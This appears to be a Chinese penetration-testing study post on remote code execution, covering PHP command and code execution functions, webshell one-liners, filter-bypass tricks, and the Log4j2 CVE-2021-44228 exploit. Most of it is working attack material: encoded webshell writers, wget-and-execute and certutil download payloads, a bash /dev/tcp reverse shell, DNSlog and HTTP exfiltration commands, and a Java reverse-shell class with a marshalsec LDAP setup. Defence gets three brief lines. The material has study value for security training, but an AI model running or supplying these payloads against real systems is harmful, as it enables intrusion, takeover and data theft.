3.4_RCE漏洞

  • 系统命令执行漏洞


  1. 原理:提供了执行系统命令的功能,但没有对用户输入做严格校验;

  2. 执行系统命令函数:
    1). system() 有回显 —— <?php system($_POST["cmd"]);?>
    2). passthru() 有回显 —— <?php passthru($_POST["cmd"]);>
    3). exec() 回显最后一行 —— <?php echo exec($_POST["cmd"]);?>
    4). shell_exec() 无回显,需输出 —— <?php echo shell_exec($_POST["cmd"])?>
    5). 反引号 ` ` linux中 ` `里的代码会被当作系统命令执行 —— <?php $cmd =$_GET['cmd'];print `$cmd`;?>

  3. 命令连接符

    命令拼接符WindowsLinux
    |“|” 前面命令的结果 作为 后面命令的输入,

    执行最后一条命令,如果前面出错则都不执行

    例:netstat -ano | find "127.0.0.1"

    从netstat -ano的结果中寻找字串127.0.0.1
    “|” 前面命令的结果 作为 后面命令的输入,

    执行最后一条语句

    例:netstat -ano | grep "9510"

    从netstat -ano的结果中寻找字串9510
    ||
    执行第一条正确的命令执行出错语句的后一个,无错则执行最后一个
    &同时执行所有语句同时执行所有语句
    &&遇错不执行遇错不执行
    ;顺序执行所有语句
    ` `

    首先执行 ` ` 间的命令,再执行反引号外的命令

    例:echo `whoami`,先执行 whoami ,再执行echo

    $(command)

    如上,相当于 ` ` 的替换,适用于反引号被过滤的情况

    例:echo $(whoami)

  4. 漏洞类型:

    有回显(写入webshell)

    无回显(写入web文件,通过访问网站文件查看;DNSlog外带和HTTP日志外带)

    出网(反弹shell,远程下载木马)
    • 反弹shell;
    • 远程下载木马;
    • 写入webshell;
    • 反弹shell;
    • 远程下载木马;
    • 写入web文件后,通过访问网站文件查看;
    • DNSlog外带和HTTP日志外带;
    不出网(写入webshell)
    • 写入webshell;
    • 执行系统命令;
    • 写入webshell;
    • 写入web文件后,通过访问网站文件查看;
    • DNSlog外带和HTTP日志外带;
  5. 系统命令执行漏洞 无回显 验证方式:
    1). 借助 DNSlog 访问记录 判断;
    2). 借助 HTTP 服务器请求日志判断;
    3). 写入web文件,通过访问网站文件查看;

  6. 系统命令执行GetShell方式
    1). 反弹shell;
    2). 写入webshell;
    3). 远程下载木马;

  7. 判断对方 是否出网 的验证方式
    1). HTTP/HTTPS 协议: curl / wget / mshta / certutil.exe URL 
    2). ICMP 协议:ping IP            
    3). DNS 协议:nslookup 域名          
    4). TCP 协议:telnet IP 端口

  • 查找web路径


1.文件查找法:一般web路径一定会有index.html\php\jsp\asp,login.xxx文件。可以根据已知页面文件名全局搜索
linux:
find / -name index.php
find / -name index.*windows:
for /r d:/ %i in (index.html) do @echo %i
for /r d:/ %i in (index.*) do @echo %i2.源码查找法:打开当前已知web页面的f12查看源码,寻找一段特征足够明显的源码进行查找(修改查找内容)
linux:
find / -name "*.*" | xargs grep "PHP installed properly"
find /var/www/ -name "*.php" | xargs grep "doServerTest()"windows:
findstr /s/i/n /d:D:\sec_tools\ /c:"html" *.html
findstr /s/i/n /d:C:\windows\ /c:"success" *.*

  • 利用方式


方式步骤

写入Webshell

(有回显 或 不出网)

Windowsecho "<?php @eval($_POST['cmd']); ?>"  > shell.php  

echo <?php @eval($_POST['x']); ?> > shell.php
Linuxecho "PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4=" | base64 -d > shell.php 

echo '<?php @eval($_POST['cmd']); ?>' >shell.php

echo${IFS}PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4=|base64 -d > 1.php

远程下载 (出网)

下载前需开启http服务
  1. python 2.X 版本:python -m SimpleHTTPServer [port]
  2. python 3.X 版本:python -m http.server [port]
Windows

下载并执行: mshta http://xxxx

certutil.exe -urlcache -split -f http://xxxx shell.php

Linux

curl http://www.baidu.com/robots.txt -o robots.txt 

wget http://192.168.7.10:8000/beacon.exe

wget http://192.168.7.10:9999/7776.elf&&chmod 777 7776.elf&&./7776.elf

反弹shell (出网)

攻击者开启监听nc -lvnp 8000
受害者执行 反弹shell生成器生成的命令;

例:bash -i > /dev/tcp/192.168.174.135/8000 0<& 2>&1

192.168.174.135/8000 为攻击机的IP和端口;

nc安装命令
  1. debain:apt-get install netcat || nc  
  2. centos: yum install nc || netcat
shell分类
  1. 正向shell :我们主动连接别人;
  2. 反向shell:别人主动连接我们;

写入web文件 (无回显)

  1. 将命令执行的结果写入文件中,然后读取查看;
  2. 例: ls >1.txt   或 echo `ls` > 1.txt  (Linux可用 )

DNSLog/HTTP 日志外带

(无回显)

Linux DNSLOG外带
  1. 命令格式: curl `命令`.dnslog的域名  
  2. 例:curl `whoami`.ls5tuu.dnslog.cn  
  3. PS:对命令返回结果长度有限制,无法输出太长的内容,例:ls  
Windows DNSLOG外带
powershell $x=whoami;$x=$x.Replace('\','xxx');$y='.dnslog的域名';$z= $x+$y;ping $z例:powershell $x=whoami;$x=$x.Replace('\','xxx');$y='.v7nwfo.dnslog.cn';$z= $x+$y;ping $z
Windows HTTP日志外带
  1. 将执行结果作为参数发送到目标服务器上;
  2. 步骤:
    1. 启用http临时服务
    2. 在受害者站点执行如下命令,将结果Base64编码写入日志,例如执行 whoami 
    3. whoami > temp & certutil -encode temp temp1 & findstr /L /V CERTIFICATE temp1>temp2        其中temp为明文,temp1为Base64加密后的值
    4. 继续在受害者站点执行命令,将结果返回VPS:
    5. for /F %i in ('type temp2') do certutil -urlcache -split -f http://192.168.7.10:8000/?p=%i
    6. PS:192.168.7.10:8000 代表VPS IP和端口;
    7. 于VPS上查看返回结果的base64编码;

  • 绕过方式


绕过方式功能命令
等价替换查看文件
  1. more ,less 以页为单位查看文件;
  2. head 查看前几行;
  3. tail 查看末几行;
  4. vi,vim 编辑时查看文件;
  5. sort 排序后输出;
  6. uniq 去重后输出;
  7. od 以二进制的方式读取文件;
  8. nl 显示时输出行号;
空格绕过空格%20 ,%09 ,${IFS} , $IFS, {cat,1.txt} 花括号中的逗号起空格的作用
简单符号绕过正则查看文件
  1. ca' 't flag.txt
  2. ca" "t flag.txt
Base64 写入密码:cmdecho "PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4=" | base64 -d >2.php
绕过重定向密码:1

echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=" | base64 -d | bash 

echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=" | base64 -d | sh

Hex 写入密码:1

echo 3C3F706870206576616C28245F504F53545B315D293B203F3E|xxd -r -ps > 5.php

  • 程序代码执行漏洞


  1. 原理:提供了执行代码的功能,但没有对用户输入做严格校验;

  2. 执行程序代码函数:
    1). eval() —— <?php @eval($_POST[cmd]); ?>
    2). assert() —— <?php @assert($_REQUEST[cmd]); ?>
    3). preg_replace() —— <?php @preg_replace("/abc/c",$_REQUEST['cmd'],"abcd")?>
    4). create_function() —— <?php @create_function(' ', $_REQUEST['cmd']);$func(); ?>

  3. 程序代码执行 GetShell的方式

    1). 通过file_put_contents() / fputs() 函数写入webshell;

    2). 调用执行系统命令的函数;

  • 利用方式


利用方式步骤
写入webshell1). file_put_contents() —— ?cmd=file_put_contents('shell.php','<?php @eval($_POST[x]);?>');
2). fputs() —— ?cmd=fputs(fopen("shell1.php","w"),'<?php @eval($_POST[x]);?>');
3). GET参数 —— ?txt=@eval($_POST['cmd']);
执行系统命令

(调用执行系统命令函数)
1). 详见 RCE漏洞_执行系统命令漏洞 利用方式;
2). 例:命令执行框内输入:system('echo "<?php @eval($_POST[cmd]); ?>" > shell0.php');
3). PS:
     ①. 句尾;后不可缺少。例:上中 shell0.php'); 的分号
     ②. 系统命令函数内的内容使用单引号包裹,例:system(' ')
     ③. 注意引号闭合;
读取敏感文件1). 获取当前的绝对路径: print(__FILE__);
2). 读取文件内容:var_dump(file_get_contents("c:\windows\win.ini"));

  • 防御方式(了解)


  1. 禁用命令执行函数;
  2. 过滤用户输入和输出(白名单,黑名单),取消回显;
  3. 使用 disable_functions 方法禁用函数;

  • 漏洞挖掘


  1. 黑盒测试:
    1. 寻找路由器,交换机,防火墙,堡垒机等网络设备的web页面;
      1). 例:cmd=command=sys=,......
      2). 例:xxx=命令,如xxx=whoamixxx=idxxx=ipconfig,.....
    2. 寻找Nday;
    3. 使用工具进行扫描(AWVS,Xray);
  2. 白盒测试:代码审计,寻找system,passthru,exec,shell_exec,eval,assert,preg_replace,create_function

  • Apache Log4j2 —— CVE-2021-44228


  1. Log4j2 :Java 日志记录框架,用来记录和处理日志;
  2. 成因:Lookup() 方法存在缺陷,会造成JNDI注入;
  3. 影响版本: 2.0 ≤ Apache log4j2 ≤ 2.14.1
  4. 影响组件:Apache Struts2Apache SorlApache DruidApache Flinkspring-boot-strater-log4j2DubboRedisLogstashKafkavmvare
  5. 原理:Log4j2 中的 lookup 方法使用 JNDI(字典)调用 LDAP / RMI(协议)来访问文件,导致攻击者可以构造恶意的URL,进行JNDI注入;
    1. 例:lookup(${jndi:ldap://localhost:9999/Test})    lookup 方法使用 JNDI 调用 LDAP 协议访问本机 9999 端口的 Test.class 文件;
  6. log4j2请求包的特征: 请求包中含有 ${jndi:ldap/rmi:// } 的特征;
  7. RMI的作用:加载远程服务器的 class 文件;
  8. 验证POC:${jndi:ldap://${sys:java.version}.DNSlog地址}
  9. 利用方式:
    1. 首先,攻击者在 VPS 上传 Exp.class 供被攻击者远程下载

      # Exp.java文件public class Exp {public Exp(){try{String[] commands = {"bash","-c","sh -i >& /dev/tcp/192.168.7.10/5555 0>&1"};Process pc = Runtime.getRuntime().exec(commands);pc.waitFor();} catch(Exception e){e.printStackTrace();}}public static void main(String[] argv) {Exp e = new Exp();}
      }
    2. 同时,开启 http,nc,ldap/rmi 服务,并构造恶意的JNDI URL

      1. http:python -m SimpleHTTPServer 8000
      2. nc: nc -lvnp 5555
      3. ladp:java8 -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.7.10:8000/#Exp" 9999
    3. 接下来,受害者执行恶意的JNDI URL,并进行远程访问:${jndi:ldap://192.168.7.10:9999/Exp}

    4. 最后,成功反弹shell;

    5. PS:
      1). HTTP服务的启动位置要在 Exp.class 所在目录;
      2). 端口对应关系,
            ①. 如被攻击者请求 9999,ladp 中也要起 9999;
            ②. ladp 中8000,http 服务也要起 8000 ;
            ③. .java 中为 5555 端口,nc也要起 5555 ;
      3). 被攻击者执行的命令为 ladp 的,则攻击者要开启的也是 ladp 服务;

    6. 你有没有使用过 ladp 服务和 rmi 服务? 使用过,通过 github 上的 jar 包结合命令使用;

    7. LDAP 和 RMI 的原理

      1. LDAP: 客户端通过 LDAP 请求资源,客户端得到资源后进行反序列化时执行恶意代码;
      2. RMI: 远程方法调用,远程加载恶意类;

  • 免责声明


  1. 本专栏内容仅供参考,不构成任何投资、学习或专业建议。读者在参考本专栏内容时,应结合自身实际情况,谨慎作出决策。

  2. 本专栏作者及发布平台尽力确保内容的准确性和可靠性,但无法保证内容的绝对正确。对于因使用本专栏内容而导致的任何损失,作者及发布平台概不负责。

  3. 本专栏部分内容来源于网络,版权归原作者所有。如有侵权,请及时联系我们,我们将尽快予以处理。

  4. 读者在阅读本专栏内容时,应遵守相关法律法规,不得将内容用于非法用途。如因读者行为导致不良后果,作者及发布平台不承担任何责任。

  5. 本免责声明适用于本专栏所有内容,包括文字、图片、音频、视频等。读者在阅读本专栏内容时,视为已接受本免责声明。

  6. 作者及发布平台保留对本免责声明的解释权和修改权,如有变更,将第一时间在本专栏页面进行公告。读者继续使用本专栏内容,视为已同意变更后的免责声明。

敬请广大读者谅解。如有疑问,请联系我们。谢谢!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/18471.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

【Linux】守护进程

目录 进程组 会话 作业控制 实现守护进程 我们在写完一些网络服务后&#xff0c;如果想让这个服务一直在云服务器的后台运行着&#xff0c;那该如何实现呢&#xff1f;其实就用到了这篇博客要讲的守护进程 进程组 我们首先需要了解进程组的概念&#xff0c;其实sleep 1000这…

nginx.conf配置文件中的命令

打开我们的conf文件 nginx.conf文件中&#xff0c;分为3大块&#xff1a; 全局块&#xff0c;就是events和http块之外的内容。设置nginx服务器整体运行的指令 格式为&#xff1a; 指令名 指令值 events块&#xff0c;用于配置与用户的网络连接的内容&#xff0c;对nginx的…

51单片机基础07 实时时钟-思路及代码参考1

目录 一、实现功能 二、思路1的分析 1、定时器0 2、外部中断0 3、主函数main 4、其他重要功能函数 一、实现功能 1、实现最基本的计时功能&#xff0c;显示时、分、秒&#xff0c;可以通过按键设置时间。 要求&#xff1a;时钟计时精确&#xff0c;按键操作不影响计时。…

vTESTstudio系列15--vTESTstudio-Doors的需求和测试用例的管理

最近有朋友在咨询vTESTstudio中怎么去跟Doors里面的需求去做好管理这方面的问题&#xff0c;临时加两篇文章介绍一下,Lets Go!!! 目录 1.Doors的配置&#xff1a; 1.1 安装Doors AddIn for vTESTstudio&#xff1a; 1.2 更新XML脚本&#xff1a; 1.3 导出需求的Trace Item…

基于Java Springboot编程语言在线学习平台

一、作品包含 源码数据库设计文档万字PPT全套环境和工具资源部署教程 二、项目技术 前端技术&#xff1a;Html、Css、Js、Vue、Element-ui 数据库&#xff1a;MySQL 后端技术&#xff1a;Java、Spring Boot、MyBatis 三、运行环境 开发工具&#xff1a;IDEA/eclipse 数据…

JDK安装报错“以下应用程序正在使用需要由此安装程序更新的文件”

&#xff08;一&#xff09;问题描述 我刚刚没有截图&#xff0c;这是我在网上看到的图&#xff1a; &#xff08;二&#xff09;可能的解决办法 1. 下方工具栏右键&#xff0c;打开任务管理器按钮&#xff0c;在进程中找到“Java Platform SE binary” 进程&#xff0c;右键结…

数据库第3次作业

学生表&#xff1a;Student (Sno, Sname, Ssex , Sage, Sdept) 学号&#xff0c;姓名&#xff0c;性别&#xff0c;年龄&#xff0c;所在系 Sno为主键 课程表&#xff1a;Course (Cno, Cname,) 课程号&#xff0c;课程名 Cno为主键 学生选课表&#xff1a;SC (Sno, Cno, Score)…

Linux之文件系统,软硬连接和动静态库

Linux之文件系统&#xff0c;软硬连接和动静态库 一.文件系统1.1磁盘的存储结构1.2CHS和LBA1.3ext2文件系统 二.软硬连接2.1软链接2.2硬链接 三.静态库和动态库3.1静态库与动态库的概念3.2静态库的创建与使用3.3动态库的创建与使用3.4动态库的加载 一.文件系统 在上篇的学习中…

【项目开发】URL中井号(#)的技术细节

未经许可,不得转载。 文章目录 前言一、# 的基本含义二、# 不参与 HTTP 请求三、# 后的字符处理机制四、# 的变化不会触发网页重新加载五、# 的变化会记录在浏览器历史中六、通过 window.location.hash 操作七、onhashchange 事件八、Google 对 # 的处理机制前言 2023 年 9 月…

TikZ 绘图学习笔记

这篇笔记的所有代码如下&#xff1a; % !TEX TS-program pdflatex % !TEX encoding UTF-8 Unicode% This is a simple template for a LaTeX document using the "article" class. % See "book", "report", "letter" for other typ…

Android Framework层介绍

文章目录 前言一、Android Framework 层概述二、主要组件1. 应用程序接口&#xff08;API&#xff09;2. 系统服务3. Binder4. 资源管理5. Content Provider6. 广播接收器&#xff08;BroadcastReceiver&#xff09;7. 服务&#xff08;Service&#xff09; 三、与 Linux Kerne…

如何选择等保服务

在当今信息化高速发展的时代&#xff0c;企业信息系统已成为业务运营的核心支撑&#xff0c;其安全性直接关系到企业的生存与发展。为了应对日益复杂的网络安全威胁&#xff0c;国家推行了等级保护&#xff08;简称等保&#xff09;制度&#xff0c;作为一项基本的信息安全保障…

MCU中的定时器

第一章 定时器的应用场景 第二章 定时器的原理 2.1 定时器的计数原理 1. 定时器的本质是一个计数器&#xff1b; 2. 计数器是对输入的系统频率信号进行计数&#xff1b; 3. 每来一个周期的信号&#xff0c;计数器的cnt 加一。如果周期T表示为1s&#xff0c;来三个周期就表示…

主页任务与计算器任务

一、主页任务 /* Private includes -----------------------------------------------------------*/ //includes #include "user_TasksInit.h" #include "user_ScrRenewTask.h" #include "main.h" #include "rtc.h" #include "…

javascript 入门-01-变量声明

因缘际会 Alice: 编程入门好像很难吧,我能学会吗 ?我虽然是计算机专业的,但是我几乎没怎么写过代码。但是你先别说我菜,我身边的同学大家都是这样的 🤷 Bob: 那你能写冒泡排序或者求数组最大值吗 ? Alice: 冒泡排序写不出来,求数组最大值还能试试看。不过为什么问这个…

富士施乐DocuContre S2520报打开盖子A,取出纸张。代码077-900故障检修

故障描述: 一台富士施乐DocuContre S2520复印机开机报错:打开盖子A,取出纸张。代码077-900故障,用户之前经常卡纸,卡着、卡着就一直提示打开盖子A,取出纸张了;复印机屏幕提示如下图: 故障检修: 富士施乐DocuContre S2520复印机报打开盖子A,取出纸张。077-900的错误代…

MySQL事务相关面试题

MySQL事务 事务的特性是什么&#xff1f; 事务是一组操作的集合&#xff0c;是不可分割的单位&#xff0c;把所有操作作为一个整体要么同时成功&#xff0c;要么同时失败 ACID 并发事务问题 脏读&#xff1a;一个事务读到了另外一个事务还没有提交的数据 不可重复读&#x…

深度学习与飞桨 PaddlePaddle Fluid

编辑推荐 飞桨PaddlePaddle是百度推出的深度学习框架&#xff0c;不仅支撑了百度公司的很多业务和应用&#xff0c;而且随着其开源过程的推进&#xff0c;在其他行业得到普及和应用。 本书基于2019年7月4日发布的飞桨PaddlePaddle Fluid 1.5版本&#xff08;后续版本会兼容旧版…

C++ | Leetcode C++题解之第564题寻找最近的回文数

题目&#xff1a; 题解&#xff1a; using ULL unsigned long long;class Solution { public:vector<ULL> getCandidates(const string& n) {int len n.length();vector<ULL> candidates {(ULL)pow(10, len - 1) - 1,(ULL)pow(10, len) 1,};ULL selfPrefi…

解决IDEA报包不存在,但实际存在的问题

前言 最近在把一个亿老项目交割给同事&#xff0c;同事在导入项目运行时遇到IDEA报包不存在&#xff0c;但实际存在的问题&#xff0c;最终通过以下方式解决 现象 在IDEA里启动运行项目&#xff0c;报某个类有问题&#xff0c;引入的包不存在。 点击这个引入的包&#xff0c;可…